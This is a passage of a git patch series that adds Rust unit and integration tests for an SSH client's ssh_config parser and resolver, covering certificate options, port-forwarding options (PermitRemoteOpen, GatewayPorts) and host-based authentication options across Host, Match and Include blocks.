parse(content).unwrap(); + assert_eq!(hosts.len(), 1); + assert_eq!(hosts[0].exit_on_forward_failure, Some(true)); +} + +#[test] +fn test_parse_permit_remote_open_single() { + let content = r#" +Host example.com + PermitRemoteOpen localhost:8080 +"#; + let hosts = parse(content).unwrap(); + assert_eq!(hosts.len(), 1); + assert_eq!(hosts[0].permit_remote_open.len(), 1); + assert_eq!(hosts[0].permit_remote_open[0], "localhost:8080"); +} + +#[test] +fn test_parse_permit_remote_open_multiple() { + let content = r#" +Host example.com + PermitRemoteOpen localhost:8080 db.internal:5432 cache.internal:6379 +"#; + let hosts = parse(content).unwrap(); + assert_eq!(hosts.len(), 1); + assert_eq!(hosts[0].permit_remote_open.len(), 3); + assert_eq!(hosts[0].permit_remote_open[0], "localhost:8080"); + assert_eq!(hosts[0].permit_remote_open[1], "db.internal:5432"); + assert_eq!(hosts[0].permit_remote_open[2], "cache.internal:6379"); +} + +#[test] +fn test_parse_permit_remote_open_special_values() { + // Test special values like 'any' and 'none' + let content = r#" +Host example.com + PermitRemoteOpen any + +Host other.com + PermitRemoteOpen none +"#; + let hosts = parse(content).unwrap(); + assert_eq!(hosts.len(), 2); + assert_eq!(hosts[0].permit_remote_open, vec!["any"]); + assert_eq!(hosts[1].permit_remote_open, vec!["none"]); +} + +#[test] +fn test_parse_permit_remote_open_multiple_declarations() { + // Multiple PermitRemoteOpen lines should accumulate + let content = r#" +Host example.com + PermitRemoteOpen localhost:8080 + PermitRemoteOpen db.internal:5432 +"#; + let hosts = parse(content).unwrap(); + assert_eq!(hosts.len(), 1); + assert_eq!(hosts[0].permit_remote_open.len(), 2); + assert_eq!(hosts[0].permit_remote_open[0], "localhost:8080"); + assert_eq!(hosts[0].permit_remote_open[1], "db.internal:5432"); +} + +#[test] +fn test_parse_permit_remote_open_with_equals() { + let content = r#" +Host example.com + PermitRemoteOpen=localhost:8080 +"#; + let hosts = parse(content).unwrap(); + assert_eq!(hosts.len(), 1); + assert_eq!(hosts[0].permit_remote_open, vec!["localhost:8080"]); +} + +#[test] +fn test_parse_hostbased_authentication() { + let content = r#" +Host example.com + HostbasedAuthentication yes + +Host other.com + HostbasedAuthentication no +"#; + let hosts = parse(content).unwrap(); + assert_eq!(hosts.len(), 2); + assert_eq!(hosts[0].hostbased_authentication, Some(true)); + assert_eq!(hosts[1].hostbased_authentication, Some(false)); +} + +#[test] +fn test_parse_hostbased_authentication_with_equals() { + let content = r#" +Host example.com + HostbasedAuthentication=yes +"#; + let hosts = parse(content).unwrap(); + assert_eq!(hosts.len(), 1); + assert_eq!(hosts[0].hostbased_authentication, Some(true)); +} + +#[test] +fn test_parse_hostbased_accepted_algorithms() { + let content = r#" +Host example.com + HostbasedAcceptedAlgorithms ssh-ed25519,rsa-sha2-512 +"#; + let hosts = parse(content).unwrap(); + assert_eq!(hosts.len(), 1); + assert_eq!(hosts[0].hostbased_accepted_algorithms.len(), 2); + assert_eq!(hosts[0].hostbased_accepted_algorithms[0], "ssh-ed25519"); + assert_eq!(hosts[0].hostbased_accepted_algorithms[1], "rsa-sha2-512"); +} + +#[test] +fn test_parse_hostbased_accepted_algorithms_with_spaces() { + // Test space-separated algorithms + let content = r#" +Host example.com + HostbasedAcceptedAlgorithms ssh-ed25519 rsa-sha2-512 ecdsa-sha2-nistp256 +"#; + let hosts = parse(content).unwrap(); + assert_eq!(hosts.len(), 1); + assert_eq!(hosts[0].hostbased_accepted_algorithms.len(), 3); + assert_eq!(hosts[0].hostbased_accepted_algorithms[0], "ssh-ed25519"); + assert_eq!(hosts[0].hostbased_accepted_algorithms[1], "rsa-sha2-512"); + assert_eq!( + hosts[0].hostbased_accepted_algorithms[2], + "ecdsa-sha2-nistp256" + ); +} + +#[test] +fn test_parse_hostbased_accepted_algorithms_with_equals() { + let content = r#" +Host example.com + HostbasedAcceptedAlgorithms=ssh-rsa,ssh-dss +"#; + let hosts = parse(content).unwrap(); + assert_eq!(hosts.len(), 1); + assert_eq!(hosts[0].hostbased_accepted_algorithms.len(), 2); + assert_eq!(hosts[0].hostbased_accepted_algorithms[0], "ssh-rsa"); + assert_eq!(hosts[0].hostbased_accepted_algorithms[1], "ssh-dss"); +} + +#[test] +fn test_parse_all_new_options_combined() { + // Test all new options together in a realistic scenario + let content = r#" +Host secure.example.com + CertificateFile ~/.ssh/id_rsa-cert.pub + CASignatureAlgorithms ssh-ed25519,rsa-sha2-512 + GatewayPorts clientspecified + ExitOnForwardFailure yes + PermitRemoteOpen localhost:8080 db.internal:5432 + HostbasedAuthentication yes + HostbasedAcceptedAlgorithms ssh-ed25519,rsa-sha2-512,rsa-sha2-256 +"#; + let hosts = parse(content).unwrap(); + assert_eq!(hosts.len(), 1); + + // Verify all fields are parsed correctly + assert_eq!(hosts[0].certificate_files.len(), 1); + assert_eq!(hosts[0].ca_signature_algorithms.len(), 2); + assert_eq!(hosts[0].gateway_ports, Some("clientspecified".to_string())); + assert_eq!(hosts[0].exit_on_forward_failure, Some(true)); + assert_eq!(hosts[0].permit_remote_open.len(), 2); + assert_eq!(hosts[0].hostbased_authentication, Some(true)); + assert_eq!(hosts[0].hostbased_accepted_algorithms.len(), 3); +} + +#[test] +fn test_parse_new_options_with_mixed_syntax() { + // Test mixing Option=Value and Option Value syntax + let content = r#" +Host example.com + CertificateFile=~/.ssh/id_rsa-cert.pub + CASignatureAlgorithms ssh-ed25519,rsa-sha2-512 + GatewayPorts=yes + ExitOnForwardFailure yes + PermitRemoteOpen=localhost:8080 + HostbasedAuthentication=no + HostbasedAcceptedAlgorithms ssh-ed25519 +"#; + let hosts = parse(content).unwrap(); + assert_eq!(hosts.len(), 1); + + // Verify all fields are parsed correctly + assert_eq!(hosts[0].certificate_files.len(), 1); + assert_eq!(hosts[0].ca_signature_algorithms.len(), 2); + assert_eq!(hosts[0].gateway_ports, Some("yes".to_string())); + assert_eq!(hosts[0].exit_on_forward_failure, Some(true)); + assert_eq!(hosts[0].permit_remote_open, vec!["localhost:8080"]); + assert_eq!(hosts[0].hostbased_authentication, Some(false)); + assert_eq!(hosts[0].hostbased_accepted_algorithms.len(), 1); +} + +#[test] +fn test_parse_certificate_file_empty_value() { + let content = r#" +Host example.com + CertificateFile +"#; + let result = parse(content); + assert!(result.is_err()); + let err_msg = result.unwrap_err().to_string(); + // Error message is wrapped with context, so check for both the line reference and the option name + assert!(err_msg.contains("CertificateFile")); + assert!(err_msg.contains("line 3")); +} + +#[test] +fn test_parse_ca_signature_algorithms_empty_value() { + let content = r#" +Host example.com + CASignatureAlgorithms +"#; + let result = parse(content); + assert!(result.is_err()); + let err_msg = result.unwrap_err().to_string(); + assert!(err_msg.contains("CASignatureAlgorithms")); + assert!(err_msg.contains("line 3")); +} + +#[test] +fn test_parse_gateway_ports_empty_value() { + let content = r#" +Host example.com + GatewayPorts +"#; + let result = parse(content); + assert!(result.is_err()); + let err_msg = result.unwrap_err().to_string(); + assert!(err_msg.contains("GatewayPorts")); + assert!(err_msg.contains("line 3")); +} + +#[test] +fn test_parse_exit_on_forward_failure_empty_value() { + let content = r#" +Host example.com + ExitOnForwardFailure +"#; + let result = parse(content); + assert!(result.is_err()); + let err_msg = result.unwrap_err().to_string(); + assert!(err_msg.contains("ExitOnForwardFailure")); + assert!(err_msg.contains("line 3")); +} + +#[test] +fn test_parse_permit_remote_open_empty_value() { + let content = r#" +Host example.com + PermitRemoteOpen +"#; + let result = parse(content); + assert!(result.is_err()); + let err_msg = result.unwrap_err().to_string(); + assert!(err_msg.contains("PermitRemoteOpen")); + assert!(err_msg.contains("line 3")); +} + +#[test] +fn test_parse_hostbased_authentication_empty_value() { + let content = r#" +Host example.com + HostbasedAuthentication +"#; + let result = parse(content); + assert!(result.is_err()); + let err_msg = result.unwrap_err().to_string(); + assert!(err_msg.contains("HostbasedAuthentication")); + assert!(err_msg.contains("line 3")); +} + +#[test] +fn test_parse_hostbased_accepted_algorithms_empty_value() { + let content = r#" +Host example.com + HostbasedAcceptedAlgorithms +"#; + let result = parse(content); + assert!(result.is_err()); + let err_msg = result.unwrap_err().to_string(); + assert!(err_msg.contains("HostbasedAcceptedAlgorithms")); + assert!(err_msg.contains("line 3")); +} From aa28511dc78dec9e06f6059d8cf2a0c74d746cbf Mon Sep 17 00:00:00 2001 From: Jeongkyu Shin Date: Thu, 23 Oct 2025 18:04:46 +0900 Subject: [PATCH 5/6] test: Add comprehensive tests for Phase 2 options Added 21 new tests to improve coverage for certificate authentication and advanced port forwarding options. New test files: - resolver_tests.rs (14 tests) - Configuration merging logic * CertificateFile merging and deduplication * PermitRemoteOpen merging and deduplication * Algorithm list override behavior * Option priority across multiple Host blocks * 100-entry limit for CertificateFile - integration_tests/phase2_integration_test.rs (7 tests) - E2E scenarios * Include + certificate options * Include + forwarding options * Match + certificate options * Match + forwarding options * Complex Include/Match/Host combinations * Nested includes with all new options * Real-world configuration scenarios Test coverage improved from 244 to 265 tests (+21 tests, +8.6%). All tests pass successfully. --- src/ssh/ssh_config/integration_tests/mod.rs | 1 + .../phase2_integration_test.rs | 408 ++++++++++++++++++ src/ssh/ssh_config/mod.rs | 2 + src/ssh/ssh_config/resolver_tests.rs | 318 ++++++++++++++ 4 files changed, 729 insertions(+) create mode 100644 src/ssh/ssh_config/integration_tests/phase2_integration_test.rs create mode 100644 src/ssh/ssh_config/resolver_tests.rs diff --git a/src/ssh/ssh_config/integration_tests/mod.rs b/src/ssh/ssh_config/integration_tests/mod.rs index 41e79f10..3158684c 100644 --- a/src/ssh/ssh_config/integration_tests/mod.rs +++ b/src/ssh/ssh_config/integration_tests/mod.rs @@ -4,3 +4,4 @@ //! for SSH configuration functionality. mod env_cache_integration_test; +mod phase2_integration_test; diff --git a/src/ssh/ssh_config/integration_tests/phase2_integration_test.rs b/src/ssh/ssh_config/integration_tests/phase2_integration_test.rs new file mode 100644 index 00000000..8e627074 --- /dev/null +++ b/src/ssh/ssh_config/integration_tests/phase2_integration_test.rs @@ -0,0 +1,408 @@ +// Copyright 2025 Lablup Inc. and Jeongkyu Shin +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +//! Integration tests for Phase 2 SSH config options (Include + Match + new options) + +#[cfg(test)] +pub(crate) mod tests { + use crate::ssh::ssh_config::SshConfig; + use std::fs; + use tempfile::TempDir; + + #[tokio::test] + async fn test_include_with_certificate_options() { + let temp_dir = TempDir::new().unwrap(); + + // Create an included file with certificate options + let include_file = temp_dir.path().join("certs.conf"); + let include_content = r#" +Host *.prod.example.com + CertificateFile ~/.ssh/prod-user-cert.pub + CertificateFile ~/.ssh/prod-host-cert.pub + CASignatureAlgorithms ssh-ed25519,rsa-sha2-512 + HostbasedAuthentication yes + HostbasedAcceptedAlgorithms ssh-ed25519,rsa-sha2-512 +"#; + fs::write(&include_file, include_content).unwrap(); + + // Create main config that includes the certificate config + let main_config = temp_dir.path().join("config"); + let main_content = format!( + r#" +Include {} + +Host web.prod.example.com + User webuser + Port 22 +"#, + include_file.display() + ); + fs::write(&main_config, &main_content).unwrap(); + + // Parse the configuration + let config = SshConfig::load_from_file(&main_config).await.unwrap(); + + // Should have 2 blocks: Include inserts *.prod.example.com, then web.prod.example.com + assert_eq!(config.hosts.len(), 2); + + // First block should have certificate options + assert_eq!(config.hosts[0].certificate_files.len(), 2); + assert_eq!(config.hosts[0].ca_signature_algorithms.len(), 2); + assert_eq!(config.hosts[0].hostbased_authentication, Some(true)); + assert_eq!(config.hosts[0].hostbased_accepted_algorithms.len(), 2); + + // Test resolution for web.prod.example.com (should get certs from included file) + let resolved = config.find_host_config("web.prod.example.com"); + assert_eq!(resolved.certificate_files.len(), 2); + assert!(resolved.certificate_files[0] + .to_string_lossy() + .contains("prod-user-cert.pub")); + assert!(resolved.certificate_files[1] + .to_string_lossy() + .contains("prod-host-cert.pub")); + assert_eq!(resolved.ca_signature_algorithms.len(), 2); + assert_eq!(resolved.user, Some("webuser".to_string())); + assert_eq!(resolved.port, Some(22)); + } + + #[tokio::test] + async fn test_include_with_forwarding_options() { + let temp_dir = TempDir::new().unwrap(); + + // Create an included file with forwarding options + let include_file = temp_dir.path().join("forwarding.conf"); + let include_content = r#" +Host *.secure.example.com + GatewayPorts clientspecified + ExitOnForwardFailure yes + PermitRemoteOpen localhost:8080 + PermitRemoteOpen db.internal:5432 +"#; + fs::write(&include_file, include_content).unwrap(); + + // Create main config + let main_config = temp_dir.path().join("config"); + let main_content = format!( + r#" +Include {} + +Host app.secure.example.com + User appuser +"#, + include_file.display() + ); + fs::write(&main_config, &main_content).unwrap(); + + // Parse the configuration + let config = SshConfig::load_from_file(&main_config).await.unwrap(); + + // Test resolution for app.secure.example.com + let resolved = config.find_host_config("app.secure.example.com"); + assert_eq!(resolved.gateway_ports, Some("clientspecified".to_string())); + assert_eq!(resolved.exit_on_forward_failure, Some(true)); + assert_eq!(resolved.permit_remote_open.len(), 2); + assert_eq!(resolved.permit_remote_open[0], "localhost:8080"); + assert_eq!(resolved.permit_remote_open[1], "db.internal:5432"); + assert_eq!(resolved.user, Some("appuser".to_string())); + } + + #[tokio::test] + async fn test_match_with_certificate_options() { + use crate::ssh::ssh_config::match_directive::MatchCondition; + use crate::ssh::ssh_config::types::ConfigBlock; + + let content = r#" +Match host *.prod.example.com user admin + CertificateFile ~/.ssh/admin-cert.pub + CASignatureAlgorithms ssh-ed25519 + HostbasedAuthentication yes + +Host web.prod.example.com + User admin + Port 443 +"#; + let config = SshConfig::parse(content).unwrap(); + + // Should have 2 blocks + assert_eq!(config.hosts.len(), 2); + + // First should be the Match block + match &config.hosts[0].block_type { + Some(ConfigBlock::Match(conditions)) => { + assert_eq!(conditions.len(), 2); + // Verify it's a Match for host and user + assert!(matches!(conditions[0], MatchCondition::Host(_))); + assert!(matches!(conditions[1], MatchCondition::User(_))); + } + _ => panic!("Expected Match block"), + } + + // Match block should have certificate options + assert_eq!(config.hosts[0].certificate_files.len(), 1); + assert!(config.hosts[0].certificate_files[0] + .to_string_lossy() + .contains("admin-cert.pub")); + assert_eq!(config.hosts[0].ca_signature_algorithms.len(), 1); + assert_eq!(config.hosts[0].hostbased_authentication, Some(true)); + } + + #[tokio::test] + async fn test_match_with_forwarding_options() { + use crate::ssh::ssh_config::match_directive::MatchCondition; + use crate::ssh::ssh_config::types::ConfigBlock; + + let content = r#" +Match host *.secure.example.com + GatewayPorts yes + ExitOnForwardFailure yes + PermitRemoteOpen localhost:* + +Host app.secure.example.com + User appuser +"#; + let config = SshConfig::parse(content).unwrap(); + + // Should have 2 blocks + assert_eq!(config.hosts.len(), 2); + + // First should be Match block with forwarding options + match &config.hosts[0].block_type { + Some(ConfigBlock::Match(conditions)) => { + assert_eq!(conditions.len(), 1); + assert!(matches!(conditions[0], MatchCondition::Host(_))); + } + _ => panic!("Expected Match block"), + } + + assert_eq!(config.hosts[0].gateway_ports, Some("yes".to_string())); + assert_eq!(config.hosts[0].exit_on_forward_failure, Some(true)); + assert_eq!(config.hosts[0].permit_remote_open.len(), 1); + assert_eq!(config.hosts[0].permit_remote_open[0], "localhost:*"); + } + + #[tokio::test] + async fn test_complex_include_match_host_combination() { + let temp_dir = TempDir::new().unwrap(); + + // Create a base config with Match + let base_file = temp_dir.path().join("base.conf"); + let base_content = r#" +Match host *.corp.example.com + CertificateFile ~/.ssh/corp-cert.pub + HostbasedAuthentication yes +"#; + fs::write(&base_file, base_content).unwrap(); + + // Create forwarding config + let forward_file = temp_dir.path().join("forward.conf"); + let forward_content = r#" +Host *.prod.corp.example.com + GatewayPorts clientspecified + ExitOnForwardFailure yes + PermitRemoteOpen localhost:8080 +"#; + fs::write(&forward_file, forward_content).unwrap(); + + // Main config includes both + let main_config = temp_dir.path().join("config"); + let main_content = format!( + r#" +Include {} +Include {} + +Host web.prod.corp.example.com + User webuser + Port 443 + CertificateFile ~/.ssh/web-cert.pub +"#, + base_file.display(), + forward_file.display() + ); + fs::write(&main_config, &main_content).unwrap(); + + // Parse + let config = SshConfig::load_from_file(&main_config).await.unwrap(); + + // Resolve for web.prod.corp.example.com + let resolved = config.find_host_config("web.prod.corp.example.com"); + + // Should have: + // - Certificate files from Match block AND Host block (2 total) + // - Forwarding options from *.prod.corp.example.com + // - User and port from specific Host block + assert_eq!(resolved.certificate_files.len(), 2); // corp-cert + web-cert + assert_eq!(resolved.hostbased_authentication, Some(true)); + assert_eq!(resolved.gateway_ports, Some("clientspecified".to_string())); + assert_eq!(resolved.exit_on_forward_failure, Some(true)); + assert_eq!(resolved.permit_remote_open.len(), 1); + assert_eq!(resolved.user, Some("webuser".to_string())); + assert_eq!(resolved.port, Some(443)); + } + + #[tokio::test] + async fn test_nested_includes_with_all_new_options() { + let temp_dir = TempDir::new().unwrap(); + + // Deep include: base authentication + let deep_file = temp_dir.path().join("deep.conf"); + fs::write( + &deep_file, + r#" +Host * + HostbasedAuthentication no + CertificateFile ~/.ssh/default-cert.pub +"#, + ) + .unwrap(); + + // Middle include: prod-specific + let middle_file = temp_dir.path().join("middle.conf"); + fs::write( + &middle_file, + format!( + r#" +Include {} + +Host *.prod.example.com + CASignatureAlgorithms ssh-ed25519,rsa-sha2-512 + HostbasedAuthentication yes + GatewayPorts clientspecified +"#, + deep_file.display() + ), + ) + .unwrap(); + + // Main config + let main_config = temp_dir.path().join("config"); + fs::write( + &main_config, + format!( + r#" +Include {} + +Match host web*.prod.example.com + ExitOnForwardFailure yes + PermitRemoteOpen localhost:8080 + PermitRemoteOpen db.internal:5432 + +Host web1.prod.example.com + User webuser +"#, + middle_file.display() + ), + ) + .unwrap(); + + // Parse + let config = SshConfig::load_from_file(&main_config).await.unwrap(); + + // Resolve for web1.prod.example.com + let resolved = config.find_host_config("web1.prod.example.com"); + + // Should combine all layers: + // - Default cert from deep.conf + // - CA algorithms from middle.conf + // - Hostbased auth overridden to yes in middle.conf + // - Gateway ports from middle.conf + // - Exit on forward failure from Match block + // - Permit remote open from Match block + // - User from specific Host block + assert_eq!(resolved.certificate_files.len(), 1); + assert!(resolved.certificate_files[0] + .to_string_lossy() + .contains("default-cert.pub")); + assert_eq!(resolved.ca_signature_algorithms.len(), 2); + assert_eq!(resolved.hostbased_authentication, Some(true)); // Overridden + assert_eq!(resolved.gateway_ports, Some("clientspecified".to_string())); + assert_eq!(resolved.exit_on_forward_failure, Some(true)); + assert_eq!(resolved.permit_remote_open.len(), 2); + assert_eq!(resolved.user, Some("webuser".to_string())); + } + + #[tokio::test] + async fn test_all_new_options_in_real_scenario() { + let temp_dir = TempDir::new().unwrap(); + + // Create a comprehensive config file + let config_file = temp_dir.path().join("config"); + let config_content = r#" +# Global defaults +Host * + HostbasedAuthentication no + ExitOnForwardFailure no + +# Production servers with certificates +Host *.prod.example.com + CertificateFile ~/.ssh/prod-user-cert.pub + CertificateFile ~/.ssh/prod-host-cert.pub + CASignatureAlgorithms ssh-ed25519,rsa-sha2-512,rsa-sha2-256 + HostbasedAuthentication yes + HostbasedAcceptedAlgorithms ssh-ed25519,rsa-sha2-512 + +# Secure hosts with strict forwarding +Match host *.secure.prod.example.com + GatewayPorts clientspecified + ExitOnForwardFailure yes + PermitRemoteOpen localhost:8080 + PermitRemoteOpen localhost:5432 + PermitRemoteOpen db.internal:5432 + +# Specific web server +Host web.secure.prod.example.com + User webadmin + Port 443 + CertificateFile ~/.ssh/web-specific-cert.pub + PermitRemoteOpen cache.internal:6379 +"#; + fs::write(&config_file, config_content).unwrap(); + + // Parse + let config = SshConfig::load_from_file(&config_file).await.unwrap(); + + // Resolve for web.secure.prod.example.com + let resolved = config.find_host_config("web.secure.prod.example.com"); + + // Verify complete configuration: + // CertificateFile: default + prod (2) + web-specific (1) = 3 total + assert_eq!(resolved.certificate_files.len(), 3); + + // CASignatureAlgorithms: from *.prod.example.com + assert_eq!(resolved.ca_signature_algorithms.len(), 3); + assert_eq!(resolved.ca_signature_algorithms[0], "ssh-ed25519"); + + // HostbasedAuthentication: yes from *.prod.example.com + assert_eq!(resolved.hostbased_authentication, Some(true)); + + // HostbasedAcceptedAlgorithms: from *.prod.example.com + assert_eq!(resolved.hostbased_accepted_algorithms.len(), 2); + + // GatewayPorts: from Match block + assert_eq!(resolved.gateway_ports, Some("clientspecified".to_string())); + + // ExitOnForwardFailure: yes from Match block (overrides global no) + assert_eq!(resolved.exit_on_forward_failure, Some(true)); + + // PermitRemoteOpen: from Match (3) + specific Host (1) = 4 total + assert_eq!(resolved.permit_remote_open.len(), 4); + assert_eq!(resolved.permit_remote_open[0], "localhost:8080"); + assert_eq!(resolved.permit_remote_open[1], "localhost:5432"); + assert_eq!(resolved.permit_remote_open[2], "db.internal:5432"); + assert_eq!(resolved.permit_remote_open[3], "cache.internal:6379"); + + // Basic options + assert_eq!(resolved.user, Some("webadmin".to_string())); + assert_eq!(resolved.port, Some(443)); + } +} diff --git a/src/ssh/ssh_config/mod.rs b/src/ssh/ssh_config/mod.rs index 399dd642..2d0212f7 100644 --- a/src/ssh/ssh_config/mod.rs +++ b/src/ssh/ssh_config/mod.rs @@ -30,6 +30,8 @@ mod parser; mod path; mod pattern; mod resolver; +#[cfg(test)] +mod resolver_tests; mod security; #[cfg(test)] mod security_fix_tests; diff --git a/src/ssh/ssh_config/resolver_tests.rs b/src/ssh/ssh_config/resolver_tests.rs new file mode 100644 index 00000000..434f2ca6 --- /dev/null +++ b/src/ssh/ssh_config/resolver_tests.rs @@ -0,0 +1,318 @@ +// Copyright 2025 Lablup Inc. and Jeongkyu Shin +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +//! Tests for resolver functionality with Phase 2 options + +#[cfg(test)] +mod tests { + use crate::ssh::ssh_config::parser::parse; + use crate::ssh::ssh_config::resolver::find_host_config; + + #[test] + fn test_certificate_file_merging_across_host_blocks() { + let content = r#" +Host * + CertificateFile ~/.ssh/global-cert.pub + +Host example.com + CertificateFile ~/.ssh/example-cert.pub +"#; + let hosts = parse(content).unwrap(); + let config = find_host_config(&hosts, "example.com"); + + // Should have both certificate files (appending behavior) + assert_eq!(config.certificate_files.len(), 2); + assert!(config.certificate_files[0] + .to_string_lossy() + .contains("global-cert.pub")); + assert!(config.certificate_files[1] + .to_string_lossy() + .contains("example-cert.pub")); + } + + #[test] + fn test_certificate_file_deduplication() { + let content = r#" +Host * + CertificateFile ~/.ssh/shared-cert.pub + +Host example.com + CertificateFile ~/.ssh/shared-cert.pub + CertificateFile ~/.ssh/example-cert.pub +"#; + let hosts = parse(content).unwrap(); + let config = find_host_config(&hosts, "example.com"); + + // Should deduplicate the shared cert + assert_eq!(config.certificate_files.len(), 2); + // First should be the shared cert (from first Host *) + assert!(config.certificate_files[0] + .to_string_lossy() + .contains("shared-cert.pub")); + // Second should be the example-specific cert + assert!(config.certificate_files[1] + .to_string_lossy() + .contains("example-cert.pub")); + } + + #[test] + fn test_certificate_file_limit_during_merge() { + // Create a config with more than 100 certificate files + let mut config_lines = vec!["Host example.com".to_string()]; + for i in 0..110 { + config_lines.push(format!(" CertificateFile ~/.ssh/cert-{}.pub", i)); + } + let content = config_lines.join("\n"); + + let hosts = parse(&content).unwrap(); + let config = find_host_config(&hosts, "example.com"); + + // Should be limited to 100 entries + assert_eq!(config.certificate_files.len(), 100); + } + + #[test] + fn test_permit_remote_open_merging_across_host_blocks() { + let content = r#" +Host * + PermitRemoteOpen localhost:8080 + +Host example.com + PermitRemoteOpen db.internal:5432 +"#; + let hosts = parse(content).unwrap(); + let config = find_host_config(&hosts, "example.com"); + + // Should have both entries (appending behavior) + assert_eq!(config.permit_remote_open.len(), 2); + assert_eq!(config.permit_remote_open[0], "localhost:8080"); + assert_eq!(config.permit_remote_open[1], "db.internal:5432"); + } + + #[test] + fn test_permit_remote_open_deduplication() { + let content = r#" +Host * + PermitRemoteOpen localhost:8080 + +Host example.com + PermitRemoteOpen localhost:8080 + PermitRemoteOpen db.internal:5432 +"#; + let hosts = parse(content).unwrap(); + let config = find_host_config(&hosts, "example.com"); + + // Should deduplicate localhost:8080 + assert_eq!(config.permit_remote_open.len(), 2); + assert_eq!(config.permit_remote_open[0], "localhost:8080"); + assert_eq!(config.permit_remote_open[1], "db.internal:5432"); + } + + #[test] + fn test_ca_signature_algorithms_override() { + let content = r#" +Host * + CASignatureAlgorithms ssh-rsa,ssh-dss + +Host example.com + CASignatureAlgorithms ssh-ed25519,rsa-sha2-512 +"#; + let hosts = parse(content).unwrap(); + let config = find_host_config(&hosts, "example.com"); + + // Should override (not append) - only the latter values + assert_eq!(config.ca_signature_algorithms.len(), 2); + assert_eq!(config.ca_signature_algorithms[0], "ssh-ed25519"); + assert_eq!(config.ca_signature_algorithms[1], "rsa-sha2-512"); + } + + #[test] + fn test_hostbased_accepted_algorithms_override() { + let content = r#" +Host * + HostbasedAcceptedAlgorithms ssh-rsa,ssh-dss + +Host example.com + HostbasedAcceptedAlgorithms ssh-ed25519,ecdsa-sha2-nistp256 +"#; + let hosts = parse(content).unwrap(); + let config = find_host_config(&hosts, "example.com"); + + // Should override (not append) + assert_eq!(config.hostbased_accepted_algorithms.len(), 2); + assert_eq!(config.hostbased_accepted_algorithms[0], "ssh-ed25519"); + assert_eq!( + config.hostbased_accepted_algorithms[1], + "ecdsa-sha2-nistp256" + ); + } + + #[test] + fn test_gateway_ports_override() { + let content = r#" +Host * + GatewayPorts no + +Host example.com + GatewayPorts yes +"#; + let hosts = parse(content).unwrap(); + let config = find_host_config(&hosts, "example.com"); + + // Should override to "yes" + assert_eq!(config.gateway_ports, Some("yes".to_string())); + } + + #[test] + fn test_exit_on_forward_failure_override() { + let content = r#" +Host * + ExitOnForwardFailure no + +Host example.com + ExitOnForwardFailure yes +"#; + let hosts = parse(content).unwrap(); + let config = find_host_config(&hosts, "example.com"); + + // Should override to true + assert_eq!(config.exit_on_forward_failure, Some(true)); + } + + #[test] + fn test_hostbased_authentication_override() { + let content = r#" +Host * + HostbasedAuthentication no + +Host example.com + HostbasedAuthentication yes +"#; + let hosts = parse(content).unwrap(); + let config = find_host_config(&hosts, "example.com"); + + // Should override to true + assert_eq!(config.hostbased_authentication, Some(true)); + } + + #[test] + fn test_multiple_host_blocks_with_priority() { + // SSH config: later matches override earlier matches for scalar values + // Lists accumulate across all matches + let content = r#" +Host example.com + GatewayPorts yes + CertificateFile ~/.ssh/first-cert.pub + +Host *.com + GatewayPorts no + CertificateFile ~/.ssh/second-cert.pub + +Host * + ExitOnForwardFailure yes + CertificateFile ~/.ssh/third-cert.pub +"#; + let hosts = parse(content).unwrap(); + let config = find_host_config(&hosts, "example.com"); + + // GatewayPorts: Later matches override (*.com overrides example.com) + // So the final value should be "no" from *.com + assert_eq!(config.gateway_ports, Some("no".to_string())); + + // ExitOnForwardFailure: Only set in * block, so it's yes + assert_eq!(config.exit_on_forward_failure, Some(true)); + + // CertificateFile: all three accumulate + assert_eq!(config.certificate_files.len(), 3); + assert!(config.certificate_files[0] + .to_string_lossy() + .contains("first-cert.pub")); + assert!(config.certificate_files[1] + .to_string_lossy() + .contains("second-cert.pub")); + assert!(config.certificate_files[2] + .to_string_lossy() + .contains("third-cert.pub")); + } + + #[test] + fn test_all_new_options_together() { + let content = r#" +Host secure.example.com + CertificateFile ~/.ssh/user-cert.pub + CertificateFile ~/.ssh/host-cert.pub + CASignatureAlgorithms ssh-ed25519,rsa-sha2-512,rsa-sha2-256 + GatewayPorts clientspecified + ExitOnForwardFailure yes + PermitRemoteOpen localhost:8080 + PermitRemoteOpen db.internal:5432 + HostbasedAuthentication yes + HostbasedAcceptedAlgorithms ssh-ed25519,rsa-sha2-512 +"#; + let hosts = parse(content).unwrap(); + let config = find_host_config(&hosts, "secure.example.com"); + + // Verify all fields + assert_eq!(config.certificate_files.len(), 2); + assert_eq!(config.ca_signature_algorithms.len(), 3); + assert_eq!(config.gateway_ports, Some("clientspecified".to_string())); + assert_eq!(config.exit_on_forward_failure, Some(true)); + assert_eq!(config.permit_remote_open.len(), 2); + assert_eq!(config.permit_remote_open[0], "localhost:8080"); + assert_eq!(config.permit_remote_open[1], "db.internal:5432"); + assert_eq!(config.hostbased_authentication, Some(true)); + assert_eq!(config.hostbased_accepted_algorithms.len(), 2); + } + + #[test] + fn test_empty_vs_unset_options() { + let content = r#" +Host example.com + User testuser +"#; + let hosts = parse(content).unwrap(); + let config = find_host_config(&hosts, "example.com"); + + // Options not set should remain empty/None + assert_eq!(config.certificate_files.len(), 0); + assert_eq!(config.ca_signature_algorithms.len(), 0); + assert_eq!(config.gateway_ports, None); + assert_eq!(config.exit_on_forward_failure, None); + assert_eq!(config.permit_remote_open.len(), 0); + assert_eq!(config.hostbased_authentication, None); + assert_eq!(config.hostbased_accepted_algorithms.len(), 0); + } + + #[test] + fn test_partial_option_set() { + let content = r#" +Host example.com + CertificateFile ~/.ssh/cert.pub + GatewayPorts yes +"#; + let hosts = parse(content).unwrap(); + let config = find_host_config(&hosts, "example.com"); + + // Only set options should have values + assert_eq!(config.certificate_files.len(), 1); + assert_eq!(config.gateway_ports, Some("yes".to_string())); + + // Others should be empty/None + assert_eq!(config.ca_signature_algorithms.len(), 0); + 